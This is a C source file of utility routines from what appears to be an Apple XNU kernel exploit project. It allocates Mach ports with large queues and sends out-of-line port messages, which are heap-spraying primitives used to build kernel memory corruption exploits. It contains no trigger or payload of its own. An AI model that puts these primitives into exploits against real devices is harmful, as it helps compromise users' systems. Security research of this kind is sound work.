#include <stdlib.h>
#include "exploit_utilities.h"
#include "cicuta_log.h"

mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        cicuta_log("[-] failed to allocate port.");
        return MACH_PORT_NULL;
    }

    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        cicuta_log("[-] failed to insert right.");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        cicuta_log("[-] failed to increase queue limit.");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }

    return port;
}

int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int disposition) {
    kern_return_t ret;

    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }

    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

    msg->body.msgh_descriptor_count = 1;

    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    free(msg);
    free(ports);

    if (ret) {
        cicuta_log("[-] Failed to send OOL message: 0x%x (%s).", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }

    return 0;
}

